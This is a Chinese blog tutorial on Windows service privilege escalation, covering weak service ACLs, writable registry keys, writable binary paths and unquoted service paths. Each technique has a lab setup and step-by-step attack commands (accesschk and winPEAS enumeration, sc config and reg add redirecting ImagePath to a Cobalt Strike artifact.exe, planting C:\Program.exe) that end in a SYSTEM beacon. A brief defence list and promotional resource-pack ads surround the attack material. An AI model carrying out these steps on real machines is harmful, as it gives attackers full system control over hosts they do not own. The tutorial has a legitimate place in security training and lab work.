手把手教你Windows系统服务提权(含提权实验+环境配置教程),网络安全零基础入门到精通教程建议收藏!

文章目录

      • 服务配置权限脆弱
      • 环境准备
      • 提权实验
      • 服务注册表权限脆弱
        • 环境准备
        • 提权实验
      • 服务路径权限脆弱
        • 环境准备
        • 提权实验
      • 未引用的服务路径
        • 环境准备
        • 提权实验
      • 针对不安全服务提权的防御措施
    • 👉1.成长路线图&学习规划👈
    • 👉2.网安入门到进阶视频教程👈
    • 👉3.SRC&黑客文档👈
    • 👉4.护网行动资料👈
    • 👉5.黑客必读书单👈
    • 👉6.网络安全岗面试题合集👈

大家好,我是小强。

众所周知,用户安装的一些软件会在本地注册一些服务,大多数服务在计算机开机时以系统system权限启动,应用软件在注册服务时会在以下路径创建对应注册表项:

计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

其中服务的imagepath指向系统服务启动的二进制程序:

这里便产生一种提权的思路:

由于大多数系统服务是system权限启动,如果让服务启动时执行其他程序,该程序就可以随着服务的启动获得系统权限,达到提权目录

这类提权往往是用户配置不当导致的,接下来分类细说

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

服务配置权限脆弱

windows的系统服务通过ACL来指定用户对其拥有的权限,常见权限如下:

如果目标主机的用户在配置服务时存在疏忽,使低权限用户对高权限下运行的系统服务拥有更改服务配置的权限(SERVICE_CHANGE_CONFIG或SERVICE_ALL_ACCESS),即可通过该低权限用户修改服务启动时的二进制文件路径,通过修改服务启动文件的路径“ binpath”,将其替换为恶意程序的路径,这样服务启动时便会运行恶意程序

存在缺陷的系统服务可以通过AccessChk[1]来枚举:

AccessChk工具可以枚举目标主机上存在权限缺陷的系统服务。AccessChk是微软官方提供的管理工具,常用来枚举或查看系统中指定用户、组对特定资源(包括但不限于文件、文件夹、注册表、全局对象和系统服务等)的访问权限

低权限用户可以检查“Authenticated Users”组和“INTERACTIVE”组对系统服务的权限,前者为经过身份验证的用户,包含系统中所有使用用户名、密码登录并通过身份验证的账户,但不包括来宾账户,后者为交互式用户组,包含系统中所有直接登录到计算机进行操作的用户,默认情况下,这两个组为计算机本地“Users”组的成员

环境准备

用admin权限配置环境:

•先建一个服务,名字为Yuy0ung,运行C盘下的1.exe:

sc create Yuy0ung binpath= "C:\1.exe"

•创建一个用户模拟apache:

net user apache Admin123456 /add

•使用用subinacl(需要自己下载)给服务设置权限:

subinacl /service Yuy0ung /grant=apache=F

提权实验

切换到apche用户并用CS实现远控:

•上传accesschk并枚举是否具有apache用户可更改的服务配置:

accesschk.exe /accepteula -uwcqv apache *

若得到SERVICE_ALL_ACCESSSERVICE_CHANGE_CONFIG其中之一,则允许我们配置服务

**注:**除了accesschk,winpeas也可以枚举出可以修改的服务配置

•更改Yuy0ung服务的启动文件,替换成恶意的文件(这里我选择使用上传的远控exe)然后提权:

sc config Yuy0ung binpath= "C:\Users\apache\Desktop\artifact.exe"# 注意=后面有个空格

•手动启动服务:

sc start Yuy0ung

可以看见这里成功接收到了system权限的beacon

服务注册表权限脆弱

Windows的服务路径存储在Windows的注册表中,而注册表使用ACL来管理用户对其的访问权限,若ACL配置不当,使低权限用户可以更改注册表的选项的时候,就可以导致提权,可以将 imagepath 修改成恶意的文件,重启导致提权

环境准备

•新建一个test服务:

sc create test binpath= "C:\1.exe"

•打开注册表给该文件权限,路径为HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\test

提权实验

依旧切换至apache并使用CS上线:

接下来进行信息搜集(可结合winpeas,这里不细说)

•使用accesschk枚举users具有写入权限的服务注册表:

shell accesschk.exe /accepteula -uvwqk users HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

发现test服务注册表可写

•powershell验证一下:

powershell Get-Acl -Path "HKLM:SYSTEM\CurrentControlSet\Services\test" | fl

users确实有完全控制权限

•老规矩,imagepath指向的文件替换为远控exe:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\test" /t REG_EXPAND_SZ/v ImagePath /d "C:\Users\apache\Desktop\artifact.exe" /f

•查看服务配置信息:

sc qc test

更改成功了

•接下来重启服务即可(这里普通用户是没有权限的,需要等待管理员重启电脑):

sc start test

成功获取system权限的beacon

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

服务路径权限脆弱

若主机存在错误配置或操作,使一个低权限用户对此服务调用的二进制文件或其所在目录有写权限,则可以将该文件替换为恶意后门文件,随服务启动继承系统权限

环境准备

首先使用管理员进行配置,创建一个test文件夹C:\Program Files\test

•将test文件夹加入服务:

sc create svcpath binpath= "\"C:\Program Files\test\1.exe\""

•更改test文件夹对users的权限为完全控制:

icacls "C:\Program Files\test" /grant Users:(OI)(CI)F /T

提权实验

切换到apache,并使用CS上线

•可上传并使用winpeas,查找出弱权限的服务:

winPEASany.exe quiet notcolor serviceinfo

可以发现users对C:\Program Files\test\1.exeC:\Program Files\test\1.exe能完全控制

•直接将1.exe替换成恶意后门,我这里用CS生成的artifact.exe进行替换,等待服务重启即可(依然是需要管理员权限)

成功获取system权限

未引用的服务路径

又称Tusted Service Paths,windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。

如果在注册表中存在没有被引用起来的服务路径 如果是如下C:\Program Files\SomeFolder\Service.exe 因为 Program Files 和 Some Folder都存在空格,就可能存在截断,依次寻找如下的程序并且执行阶段如下:

C:\Program.exeC:\Program Files\Some.exeC:\Program Files\Some Folder\Service.exe

我们只需要在相应的目录下制作一个恶意的程序,达到提权的目的即可,所以提权的条件如下:

1、服务路径没有用引号引起来2、服务的路径中存在空格3、服务以最高权限启动后4、具有到对应目录下写文件的权限
环境准备

•首先创建一个服务,或者自己安装一个软件,路径中存在空格,并且服务的路径中没有引号

sc create "service" binpath= "C:\Program Files\Common Files\test\test.exe" start= auto

•查询服务的启动方式和权限

sc qc service

是system权限和自启动

•给users一个写权限:

icacls "C:" /grant "BUILTIN\Users":W

提权实验

•使用winpeas扫描发现未引用的服务:

winPEASany.exe quiet notcolor serviceinfo

•检查权限:

icacls "C:"icacls "C:\Program Files"icacls "C:\Program Files\Common Files"

发现apache用户对C盘有F权限,即完全访问

•在C盘下创建一个恶意文件Program.exe运行(我同样使用artifact):

•重启,等待服务自动启动即可上线:

成功获取system权限

针对不安全服务提权的防御措施

•正确配置可执行文件权限

•正确配置注册表权限

•检查是否存在未被引用的服务文件的路径

•正确配置环境变量中路径的权限

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
在这里插入图片描述
在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:
在这里插入图片描述
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/4653.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

宠物空气净化器测评!希喂/米家/有哈宠物空气净化器谁性价比高

宠物空气净化器测评!如何清理猫毛应该是每个养猫人都在面对的难题。那些细小的浮毛真的不能不管,它们飘落在家里的每一个角落,不仅极难清理,还弄得我鼻子发痒、频繁咳嗽。为了解决这些浮毛,我家一直在用宠物空气净化器…

python3的基本数据类型:List(列表)的连接与转换

一. 简介 前面学习了 python中列表的创建,截取等一些操作。文章如下: python3的基本数据类型:List(列表)创建与索引-CSDN博客 python3的基本数据类型:List(列表)的截取-CSDN博客…

vue文件上传-所有文件选项去掉

效果&#xff1a; 缘由&#xff1a; <template><div class"upload-container"><div class"upload-box" click"triggerFileInput" dragover.prevent drop"handleDrop"><p>点击或拖放文件到这里上传</p>&…

JS | 如何规范 JavaScript 的注释

目录 一、使用单行注释 二、多行注释的使用 三、使用JSDoc风格的注释 四、采用一致的注释习惯 规范JavaScript的注释方法包括使用单行注释、多行注释、使用JSDoc风格的注释以及采用一致的注释习惯。其中&#xff0c;使用JSDoc风格的注释是为了提高代码的可读性和维护性&…

数据分析-43-某社交app用户行为示例数据

关注公众号&#xff1a;『AI学习星球』 算法学习、4对1辅导、论文辅导或核心期刊可以通过公众号滴滴我 文章目录 背景描述数据说明分析数据相关系数查看各功能属性的分布各功能路径流量排名 TOP10留存率排名 TOP10 背景描述 本数据集是某社交APP一定时间内用户留存的分类示例数…

Linux中emqx集中报错解决方案

在centos8上面部署emqx5.5,过程中有许多问题。 第一种文件配置 node {name "emqx-nameIP" #名称此处IP仅用于标识cookie "GR7aqjZzt0IfcEEw" #此处数据自己设置data_dir "…

socket 编程

Linux C语言 server 端&#xff08;TCP&#xff09;&#xff1a; // socketServer.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> // 提供 close、read 和 write &#xff08;这里通过 send 间接使用&#x…

国内常见DNS

国内常见DNS 1.阿里DNS 223.5.5.5 223.6.6.62.百度DNS 180.76.76.763.114DNS 114.114.114.114 114.114.115.1154.字节DNS 180.184.1.1 180.184.2.25.GoogleDNS 8.8.8.8个人综合排名是 阿里&#xff08;223.5.5.5&#xff09;>腾讯&#xff08;1.12.12.12&#xff09; ≈…

3D医学影像开发入门<四>:VS2019 + Qt5.15.2 + MITK-v2021.10编译及环境配置

1、MITK介绍 1.1 MITK概述 MITK 是一个开源框架&#xff0c;最初是作为德国癌症研究中心医学和生物信息学部 &#xff08;MBI&#xff09; 博士生的通用框架开发的。MITK 旨在支持开发具有高度交互性的领先医学成像软件。 MITK 几乎重复使用了 VTK 和 ITK 中的任何内容。因此&…

项目模块1~12总结:服务器大模块梳理

一、思维导图 二、设计思路 1、各种回调函数梳理 服务器里面包含了监听套接字和监听到的通信套接字&#xff08;新连接&#xff09;&#xff0c;我们要对这两种套接字进行设置回调函数&#xff0c;其中监听套接字里面只要设置读回调&#xff0c;通信套接字要设置5种回调&…

023集——CAD 窗体交互、多段线进行翻转、错误提示(CAD—C#二次开发入门)

效果如下&#xff1a; 窗体模块&#xff1a; using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms;…

照明灯具哪个品牌好?2024照明灯十大知名品牌大公开

在现代生活中&#xff0c;护眼台灯已经成为许多加班族的必备神器。但是&#xff0c;市场上的护眼台灯种类繁多&#xff0c;价格也各有不同&#xff0c;我们也不能每一个都买回家进行测试&#xff0c;看看照明灯具哪个品牌好&#xff1f;别担心&#xff0c;我帮你们找了&#xf…

FileLink跨网数据摆渡系统:打破网络隔阂,轻松实现跨网络数据传输

在数字化时代&#xff0c;跨网络、跨区域的数据传输成为了企业和个人信息流通的重大挑战。而如今&#xff0c;FileLink跨网数据摆渡系统的问世&#xff0c;彻底解决了这一难题&#xff0c;帮助用户实现快速、安全、无缝的跨网络数据传输。 1. 跨网络数据传输的痛点 随着企业信…

C语言 — 指针的进阶

文章目录 前言一、字符指针二、指针数组三、数组指针数组名 与 &数组名 四、指针传参二维数组传参 五、函数指针结语 前言 通过前面的关于指针的学习&#xff0c;我们了解了指针的一些个特性。本篇文章我们将深入指针&#xff0c;挖掘指针更深处的知识。 在开始之前&#…

【机器学习导引】ch4-决策树

基本流程 两个需要解决的问题 属性顺序&#xff1a; 问题&#xff1a;哪些属性在前面&#xff0c;哪些属性在后面&#xff1f;这个问题指的是在处理数据或进行排序时&#xff0c;需要确定属性的排列顺序&#xff0c;以便更好地进行数据处理或分析。 属性选择&#xff1a; 问题…

[ DOS 命令基础 4 ] DOS 命令命令详解-端口进程相关命令

&#x1f36c; 博主介绍 &#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;我是 _PowerShell &#xff0c;很高兴认识大家~ ✨主攻领域&#xff1a;【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 &#x1f389;点赞➕评论➕收藏 养成习…

博客系统(SpringBoot项目)

文章目录 一、项目开发的流程二、项目开发2.1 准备工作2.2 开发公共模块&#xff1a;把能写的先写了什么是公共模块model层mapper层定义统一返回结果统一异常处理 2.2 博客列表页2.3 更改显示的时间2.4 博客详情页2.5 登录Session式登录方法分析使用Token来实现登录 2.6 强制登…

软件设计师笔记-数据结构

数据结构 数据元素的集合及元素间的相互关系和构造方法。 线性表的存储结构 顺序存储链式存储 单链表节点 typedef struct node { int data; struct node *link; }NODE, *LinkList; 双向链表 每个节点有两个指针&#xff0c;分别指出直接前驱和直接后继。 循环链表 尾…

LangChain Ollama实战文献检索助手(一)环境配置和输入输出解析

挑选合适的模型 调用API需要花钱&#xff0c;因此在搭建阶段最佳的方法是利用Ollama部署本地CPU推理的轻量化大模型。大模型选择可以参照hugging face的榜单open-llm-leaderboard。 这里对我来说&#xff0c;要选择的模型需要满足 1.ollama上有的模型。 2.推理速度快&#xff…

在docker中搭建redis哨兵环境

文章目录 一、引言二、环境准备前提条件目录结构 三、配置文件1. 主节点配置文件 sentinel-master.conf2. 从节点配置文件3. 哨兵配置文件 sentinel.conf4. Docker Compose 文件 四、启动 Docker Compose五、验证哨兵机制1. 检查主节点状态2. 检查从节点状态3. 检查哨兵状态4. …